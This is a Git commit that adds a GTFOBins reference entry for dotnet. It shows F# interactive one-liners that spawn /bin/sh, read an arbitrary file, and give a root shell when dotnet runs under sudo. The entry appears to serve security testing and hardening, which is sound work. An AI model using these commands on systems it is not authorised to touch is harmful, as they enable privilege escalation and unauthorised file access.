Add dotnet

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
pad0van 2023-02-24 04:53:30 +08:00 committed by GitHub
parent abbed40f74
commit f9e3d84596
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/dotnet.md Normal file
View File

@ -0,0 +1,16 @@
---
functions:
shell:
- code: |
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
file-read:
- code: |
export LFILE=file_to_read
dotnet fsi
System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
sudo:
- code: |
sudo dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
---